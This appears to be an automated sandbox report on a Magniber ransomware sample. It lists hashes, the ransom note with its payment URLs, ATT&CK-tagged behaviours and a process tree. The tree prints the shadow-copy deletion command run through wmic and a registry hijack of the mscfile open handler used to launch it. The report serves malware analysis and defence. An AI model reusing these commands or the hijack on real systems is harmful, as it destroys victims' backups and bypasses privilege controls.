magniber | 27ccf224a002dfa52b238c36b894991ca8f0b40c0741383c56fa4c31dbdd5cba

Analysis

max time kernel
148s
max time network
142s
platform
windows7_x64
resource
win7-20240903-en
resource tags

arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
submitted
12-10-2024 00:07

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

377ea8e8c63f2b19b07c69492e99f3d8_JaffaCakes118.dll
Size

20KB
MD5

377ea8e8c63f2b19b07c69492e99f3d8
SHA1

dbe31e03e08116a69e435b4e083722a9745e54bc
SHA256

27ccf224a002dfa52b238c36b894991ca8f0b40c0741383c56fa4c31dbdd5cba
SHA512

c90414add29ad621923d38bdc3464295525ad884e64d9686a092a80e829f35692e1fdadd0e925539c0e0151f476d70860f48cc6a60504243eb3d96190431f87c
SSDEEP

384:KGAfHlDSTBkbMlSykOMIPSo0RsClrRjp1Sw6knL7ZcnA6AcIdrVpXsx45Xwpo:SfFAqbMlSykOnN0RsOFp1Sw6oKAjcIdj

Score

10^/10

magniber defense_evasion discovery execution impact ransomware

Malware Config

Extracted

Path

C:\Users\Admin\Pictures\readme.txt

Family

magniber

Ransom Note

ALL YOUR DOCUMENTS PHOTOS DATABASES AND OTHER IMPORTANT FILES HAVE BEEN ENCRYPTED! ==================================================================================================== Your files are NOT damaged! Your files are modified only. This modification is reversible. The only 1 way to decrypt your files is to receive the private key and decryption program. Any attempts to restore your files with the third party software will be fatal for your files! ==================================================================================================== To receive the private key and decryption program follow the instructions below: 1. Download "Tor Browser" from https://www.torproject.org/ and install it. 2. In the "Tor Browser" open your personal page here: http://e68cc6b058b092c014qbvpseec.m647u2xsjtlfyzuevlxjiiwjsg2btyhmbxbjz4in4hm76u6hjzc62wad.onion/qbvpseec Note! This page is available via "Tor Browser" only. ==================================================================================================== Also you can use temporary addresses on your personal page without using "Tor Browser": http://e68cc6b058b092c014qbvpseec.gosmark.space/qbvpseec http://e68cc6b058b092c014qbvpseec.ourunit.xyz/qbvpseec http://e68cc6b058b092c014qbvpseec.topsaid.site/qbvpseec http://e68cc6b058b092c014qbvpseec.iecard.top/qbvpseec Note! These are temporary addresses! They will be available for a limited amount of time!

URLs

http://e68cc6b058b092c014qbvpseec.m647u2xsjtlfyzuevlxjiiwjsg2btyhmbxbjz4in4hm76u6hjzc62wad.onion/qbvpseec

http://e68cc6b058b092c014qbvpseec.gosmark.space/qbvpseec

http://e68cc6b058b092c014qbvpseec.ourunit.xyz/qbvpseec

http://e68cc6b058b092c014qbvpseec.topsaid.site/qbvpseec

http://e68cc6b058b092c014qbvpseec.iecard.top/qbvpseec

Signatures

Detect magniber ransomware 1 IoCs

resource	yara_rule
behavioral1/memory/684-4-0x0000000001EF0000-0x000000000242E000-memory.dmp	family_magniber

Magniber Ransomware
Ransomware family widely seen in Asia being distributed by the Magnitude exploit kit.
ransomware magniber

Process spawned unexpected child process 15 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2348	1604	cmd.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2356	1604	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2232	1604	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1920	1604	cmd.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2336	1604	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1856	1604	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	836	1604	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1160	1604	cmd.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	620	1604	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2856	1604	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2500	1604	cmd.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2300	1604	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3056	1604	vssadmin.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	2668	1604	cmd.exe	39
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1980	1604	vssadmin.exe	39

Deletes shadow copies 3 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware defense_evasion impact execution

File Deletion
T1070.004

Inhibit System Recovery
T1490

Windows Management Instrumentation
T1047
Renames multiple (80) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Drops desktop.ini file(s) 5 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\desktop.ini	DllHost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\GUJ7UW2N\desktop.ini	DllHost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\Y8O71085\desktop.ini	DllHost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\6GFIGH6G\desktop.ini	DllHost.exe
File opened for modification	C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\75GKCLJR\desktop.ini	DllHost.exe

Suspicious use of SetThreadContext 4 IoCs

description	pid	Process	procid_target
PID 684 set thread context of 1116	684	rundll32.exe	19
PID 684 set thread context of 1172	684	rundll32.exe	20
PID 684 set thread context of 1212	684	rundll32.exe	21
PID 684 set thread context of 1444	684	rundll32.exe	23

System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	IEXPLORE.EXE

Interacts with shadow copies 3 TTPs 10 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

T1490

Direct Volume Access

T1006

pid	Process
3056	vssadmin.exe
1980	vssadmin.exe
2356	vssadmin.exe
1856	vssadmin.exe
836	vssadmin.exe
620	vssadmin.exe
2232	vssadmin.exe
2336	vssadmin.exe
2856	vssadmin.exe
2300	vssadmin.exe

Modifies Internet Explorer settings 1 TTPs 34 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Toolbar\WebBrowser	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive\{FBAC36C1-882D-11EF-A17D-4A174794FC88} = "0"	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\SearchScopes\DownloadRetries = "3"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\LowRegistry\DOMStorage	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\GPU	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\IntelliForms	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\MFV = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d793ad506ece624c80bd99362738d9070000000002000000000010660000000100002000000095491486164b712cc1b89b7fda92ed0a334f55419ac2a2f0e074c469f0f249ba000000000e8000000002000020000000fac2af4d080c557c3261af40c60d7632ee9a29af1b361335339c9f1a16eccb779000000092ebff616a5ea3946e643e2031561c35352ba218cb0a4420e20998ce484fa80ad3f62ae9bfbb7d7fa020a93063670f25fe6a0314e440dceff1eb746d671e1700f4b1dbd62484b8063830047b104c250769bda6360411b722bb5f26d69a5d5d06b9bcfe9ecaa9a8d76bdbce0f4e9c3a355a50cca9ac7cd119e27212b64a7398d07611216175f7106867d16f82e4f187ec400000008be4f51e26a59277d432b7923b3c913d5b22d87d031d68a5bb6dc997e25223e71fbd9402808ef520a7aea726bb96ee906dead8fba05b4b1b655c5eb5edb0b9ea	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main\Window_Placement = 2c0000000200000003000000ffffffffffffffffffffffffffffffff2400000024000000aa04000089020000	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main\FullScreen = "no"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\SearchScopes	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NTPFirstRun = "1"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\DomainSuggestion	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\DomainSuggestion\NextUpdateDate = "434853522"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\IETld\LowMic	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Zoom	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main\CompatibilityFlags = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\InternetRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\PageSetup	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "0"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\LowRegistry\DontShowMeThisDialogAgain	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\LowRegistry	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Toolbar	iexplore.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery\AdminActive = "1"	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\LastProcessed = 60d97bd03a1cdb01	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\BrowserEmulation\LowMic	iexplore.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main\WindowsSearch\Version = "WS not running"	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Main	IEXPLORE.EXE
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Recovery\PendingRecovery	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing	iexplore.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\TabbedBrowsing\NewTabPage\DecayDateQueue = 01000000d08c9ddf0115d1118c7a00c04fc297eb01000000d793ad506ece624c80bd99362738d907000000000200000000001066000000010000200000005fd6cc9707cf31bc35aca47acf3752e0510fc0dd1f95b2b83c1bbe6f4caa263d000000000e8000000002000020000000c39dc6899c9511f5142f8663cdf161a5591068148fe5914c3562e696342d4f9220000000562a25cd61d9f607afe557a056cc376f66fd372889f13676539208a19812c62d4000000034c1044c24cb4d23a55cb28d969ee4fda2054a9b4cf9c25150d2ef86fd79c757953ac96617d62707c51a1174d01bd87091fc90ebebadd8c92e28dbd9da879bca	iexplore.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000\Software\Microsoft\Internet Explorer\Recovery\AdminActive	iexplore.exe

Modifies registry class 13 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\mscfile\shell	DllHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\mscfile\shell\open	DllHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\mscfile\shell\open\command	rundll32.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	rundll32.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\mscfile\shell\open\command	taskhost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Explorer.EXE
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\mscfile\shell\open\command	Dwm.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\mscfile\shell\open\command	DllHost.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\mscfile	DllHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	DllHost.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	taskhost.exe
Key created	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\mscfile\shell\open\command	Explorer.EXE
Set value (str)	\REGISTRY\USER\S-1-5-21-1846800975-3917212583-2893086201-1000_CLASSES\mscfile\shell\open\command\ = "C:\\Windows\\system32\\wbem\\wmic process call create \"vssadmin.exe Delete Shadows /all /quiet\""	Dwm.exe

Opens file in notepad (likely ransom note) 1 IoCs

ransomware

pid	Process
3064	notepad.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
684	rundll32.exe
684	rundll32.exe

Suspicious behavior: MapViewOfSection 4 IoCs

pid	Process
684	rundll32.exe
684	rundll32.exe
684	rundll32.exe
684	rundll32.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeShutdownPrivilege	1212	Explorer.EXE
Token: SeShutdownPrivilege	1212	Explorer.EXE
Token: SeShutdownPrivilege	1212	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1388	wmic.exe
Token: SeSecurityPrivilege	1388	wmic.exe
Token: SeTakeOwnershipPrivilege	1388	wmic.exe
Token: SeLoadDriverPrivilege	1388	wmic.exe
Token: SeSystemProfilePrivilege	1388	wmic.exe
Token: SeSystemtimePrivilege	1388	wmic.exe
Token: SeProfSingleProcessPrivilege	1388	wmic.exe
Token: SeIncBasePriorityPrivilege	1388	wmic.exe
Token: SeCreatePagefilePrivilege	1388	wmic.exe
Token: SeBackupPrivilege	1388	wmic.exe
Token: SeRestorePrivilege	1388	wmic.exe
Token: SeShutdownPrivilege	1388	wmic.exe
Token: SeDebugPrivilege	1388	wmic.exe
Token: SeSystemEnvironmentPrivilege	1388	wmic.exe
Token: SeRemoteShutdownPrivilege	1388	wmic.exe
Token: SeUndockPrivilege	1388	wmic.exe
Token: SeManageVolumePrivilege	1388	wmic.exe
Token: 33	1388	wmic.exe
Token: 34	1388	wmic.exe
Token: 35	1388	wmic.exe
Token: SeIncreaseQuotaPrivilege	1632	WMIC.exe
Token: SeSecurityPrivilege	1632	WMIC.exe
Token: SeTakeOwnershipPrivilege	1632	WMIC.exe
Token: SeLoadDriverPrivilege	1632	WMIC.exe
Token: SeSystemProfilePrivilege	1632	WMIC.exe
Token: SeSystemtimePrivilege	1632	WMIC.exe
Token: SeProfSingleProcessPrivilege	1632	WMIC.exe
Token: SeIncBasePriorityPrivilege	1632	WMIC.exe
Token: SeCreatePagefilePrivilege	1632	WMIC.exe
Token: SeBackupPrivilege	1632	WMIC.exe
Token: SeRestorePrivilege	1632	WMIC.exe
Token: SeShutdownPrivilege	1632	WMIC.exe
Token: SeDebugPrivilege	1632	WMIC.exe
Token: SeSystemEnvironmentPrivilege	1632	WMIC.exe
Token: SeRemoteShutdownPrivilege	1632	WMIC.exe
Token: SeUndockPrivilege	1632	WMIC.exe
Token: SeManageVolumePrivilege	1632	WMIC.exe
Token: 33	1632	WMIC.exe
Token: 34	1632	WMIC.exe
Token: 35	1632	WMIC.exe
Token: SeShutdownPrivilege	1212	Explorer.EXE
Token: SeShutdownPrivilege	1212	Explorer.EXE
Token: SeIncreaseQuotaPrivilege	1388	wmic.exe
Token: SeSecurityPrivilege	1388	wmic.exe
Token: SeTakeOwnershipPrivilege	1388	wmic.exe
Token: SeLoadDriverPrivilege	1388	wmic.exe
Token: SeSystemProfilePrivilege	1388	wmic.exe
Token: SeSystemtimePrivilege	1388	wmic.exe
Token: SeProfSingleProcessPrivilege	1388	wmic.exe
Token: SeIncBasePriorityPrivilege	1388	wmic.exe
Token: SeCreatePagefilePrivilege	1388	wmic.exe
Token: SeBackupPrivilege	1388	wmic.exe
Token: SeRestorePrivilege	1388	wmic.exe
Token: SeShutdownPrivilege	1388	wmic.exe
Token: SeDebugPrivilege	1388	wmic.exe
Token: SeSystemEnvironmentPrivilege	1388	wmic.exe
Token: SeRemoteShutdownPrivilege	1388	wmic.exe
Token: SeUndockPrivilege	1388	wmic.exe
Token: SeManageVolumePrivilege	1388	wmic.exe
Token: 33	1388	wmic.exe
Token: 34	1388	wmic.exe

Suspicious use of FindShellTrayWindow 5 IoCs

pid	Process
2960	iexplore.exe
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE
1212	Explorer.EXE

Suspicious use of SetWindowsHookEx 6 IoCs

pid	Process
2960	iexplore.exe
2960	iexplore.exe
2568	IEXPLORE.EXE
2568	IEXPLORE.EXE
2568	IEXPLORE.EXE
2568	IEXPLORE.EXE

Suspicious use of UnmapMainImage 2 IoCs

pid	Process
1212	Explorer.EXE
1212	Explorer.EXE

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 1444 wrote to memory of 3064	1444	DllHost.exe	30
PID 1444 wrote to memory of 3064	1444	DllHost.exe	30
PID 1444 wrote to memory of 3064	1444	DllHost.exe	30
PID 1444 wrote to memory of 604	1444	DllHost.exe	31
PID 1444 wrote to memory of 604	1444	DllHost.exe	31
PID 1444 wrote to memory of 604	1444	DllHost.exe	31
PID 1444 wrote to memory of 1388	1444	DllHost.exe	32
PID 1444 wrote to memory of 1388	1444	DllHost.exe	32
PID 1444 wrote to memory of 1388	1444	DllHost.exe	32
PID 1444 wrote to memory of 2436	1444	DllHost.exe	33
PID 1444 wrote to memory of 2436	1444	DllHost.exe	33
PID 1444 wrote to memory of 2436	1444	DllHost.exe	33
PID 2436 wrote to memory of 1632	2436	cmd.exe	37
PID 2436 wrote to memory of 1632	2436	cmd.exe	37
PID 2436 wrote to memory of 1632	2436	cmd.exe	37
PID 604 wrote to memory of 2960	604	cmd.exe	38
PID 604 wrote to memory of 2960	604	cmd.exe	38
PID 604 wrote to memory of 2960	604	cmd.exe	38
PID 2960 wrote to memory of 2568	2960	iexplore.exe	40
PID 2960 wrote to memory of 2568	2960	iexplore.exe	40
PID 2960 wrote to memory of 2568	2960	iexplore.exe	40
PID 2960 wrote to memory of 2568	2960	iexplore.exe	40
PID 2348 wrote to memory of 3044	2348	cmd.exe	45
PID 2348 wrote to memory of 3044	2348	cmd.exe	45
PID 2348 wrote to memory of 3044	2348	cmd.exe	45
PID 3044 wrote to memory of 2380	3044	CompMgmtLauncher.exe	47
PID 3044 wrote to memory of 2380	3044	CompMgmtLauncher.exe	47
PID 3044 wrote to memory of 2380	3044	CompMgmtLauncher.exe	47
PID 684 wrote to memory of 776	684	rundll32.exe	52
PID 684 wrote to memory of 776	684	rundll32.exe	52
PID 684 wrote to memory of 776	684	rundll32.exe	52
PID 684 wrote to memory of 1036	684	rundll32.exe	53
PID 684 wrote to memory of 1036	684	rundll32.exe	53
PID 684 wrote to memory of 1036	684	rundll32.exe	53
PID 1036 wrote to memory of 2084	1036	cmd.exe	56
PID 1036 wrote to memory of 2084	1036	cmd.exe	56
PID 1036 wrote to memory of 2084	1036	cmd.exe	56
PID 1920 wrote to memory of 1100	1920	cmd.exe	61
PID 1920 wrote to memory of 1100	1920	cmd.exe	61
PID 1920 wrote to memory of 1100	1920	cmd.exe	61
PID 1100 wrote to memory of 2020	1100	CompMgmtLauncher.exe	62
PID 1100 wrote to memory of 2020	1100	CompMgmtLauncher.exe	62
PID 1100 wrote to memory of 2020	1100	CompMgmtLauncher.exe	62
PID 1116 wrote to memory of 2352	1116	taskhost.exe	67
PID 1116 wrote to memory of 2352	1116	taskhost.exe	67
PID 1116 wrote to memory of 2352	1116	taskhost.exe	67
PID 1116 wrote to memory of 2228	1116	taskhost.exe	68
PID 1116 wrote to memory of 2228	1116	taskhost.exe	68
PID 1116 wrote to memory of 2228	1116	taskhost.exe	68
PID 2228 wrote to memory of 2220	2228	cmd.exe	71
PID 2228 wrote to memory of 2220	2228	cmd.exe	71
PID 2228 wrote to memory of 2220	2228	cmd.exe	71
PID 1160 wrote to memory of 2488	1160	cmd.exe	76
PID 1160 wrote to memory of 2488	1160	cmd.exe	76
PID 1160 wrote to memory of 2488	1160	cmd.exe	76
PID 2488 wrote to memory of 2340	2488	CompMgmtLauncher.exe	77
PID 2488 wrote to memory of 2340	2488	CompMgmtLauncher.exe	77
PID 2488 wrote to memory of 2340	2488	CompMgmtLauncher.exe	77
PID 1212 wrote to memory of 220	1212	Explorer.EXE	81
PID 1212 wrote to memory of 220	1212	Explorer.EXE	81
PID 1212 wrote to memory of 220	1212	Explorer.EXE	81
PID 1212 wrote to memory of 228	1212	Explorer.EXE	82
PID 1212 wrote to memory of 228	1212	Explorer.EXE	82
PID 1212 wrote to memory of 228	1212	Explorer.EXE	82

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Windows\system32\taskhost.exe
"taskhost.exe"
1⤵
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1116
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2352
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2228
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:2220

C:\Windows\system32\Dwm.exe
"C:\Windows\system32\Dwm.exe"
1⤵
- Modifies registry class
PID:1172
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:2456
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:3012
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:1376

C:\Windows\Explorer.EXE
C:\Windows\Explorer.EXE
1⤵
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of UnmapMainImage
- Suspicious use of WriteProcessMemory
PID:1212
- C:\Windows\system32\rundll32.exe
  rundll32.exe C:\Users\Admin\AppData\Local\Temp\377ea8e8c63f2b19b07c69492e99f3d8_JaffaCakes118.dll,#1
  2⤵
  - Suspicious use of SetThreadContext
  - Modifies registry class
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious behavior: MapViewOfSection
  - Suspicious use of WriteProcessMemory
  PID:684
- - C:\Windows\system32\wbem\wmic.exe
    C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:776
- - C:\Windows\system32\cmd.exe
    cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1036
  - - C:\Windows\system32\wbem\WMIC.exe
      C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
      4⤵
      PID:2084
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  PID:220
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  PID:228
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    PID:276

C:\Windows\system32\DllHost.exe
C:\Windows\system32\DllHost.exe /Processid:{3EB3C877-1F16-487C-9050-104DBCD66683}
1⤵
- Drops desktop.ini file(s)
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:1444
- C:\Windows\system32\notepad.exe
  notepad.exe C:\Users\Public\readme.txt
  2⤵
  - Opens file in notepad (likely ransom note)
  PID:3064
- C:\Windows\system32\cmd.exe
  cmd /c "start http://e68cc6b058b092c014qbvpseec.gosmark.space/qbvpseec^&2^&28381314^&80^&363^&12"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:604
- - C:\Program Files\Internet Explorer\iexplore.exe
    "C:\Program Files\Internet Explorer\iexplore.exe" http://e68cc6b058b092c014qbvpseec.gosmark.space/qbvpseec&2&28381314&80&363&12
    3⤵
    - Modifies Internet Explorer settings
    - Suspicious use of FindShellTrayWindow
    - Suspicious use of SetWindowsHookEx
    - Suspicious use of WriteProcessMemory
    PID:2960
  - - C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE
      "C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2960 CREDAT:275457 /prefetch:2
      4⤵
      System Location Discovery: System Language Discovery
      Modifies Internet Explorer settings
      Suspicious use of SetWindowsHookEx
      PID:2568
- C:\Windows\system32\wbem\wmic.exe
  C:\Windows\system32\wbem\wmic process call create "vssadmin.exe Delete Shadows /all /quiet"
  2⤵
  - Suspicious use of AdjustPrivilegeToken
  PID:1388
- C:\Windows\system32\cmd.exe
  cmd.exe /c "%SystemRoot%\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe""
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2436
- - C:\Windows\system32\wbem\WMIC.exe
    C:\Windows\system32\wbem\wmic process call create "cmd /c CompMgmtLauncher.exe"
    3⤵
    - Suspicious use of AdjustPrivilegeToken
    PID:1632

C:\Windows\system32\cmd.exe
cmd /c CompMgmtLauncher.exe
1⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:2348
- C:\Windows\system32\CompMgmtLauncher.exe
  CompMgmtLauncher.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3044
- - C:\Windows\system32\wbem\wmic.exe
    "C:\Windows\system32\wbem\wmic.exe" process call create "vssadmin.exe Delete Shadows /all /quiet"
    3⤵
    PID:2380

C:\Windows\system32\vssadmin.exe
vssadmin.exe Delete Shadows /all /quiet
1⤵
- Process spawned unexpected child process
- Interacts with shadow copies
PID:2356

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
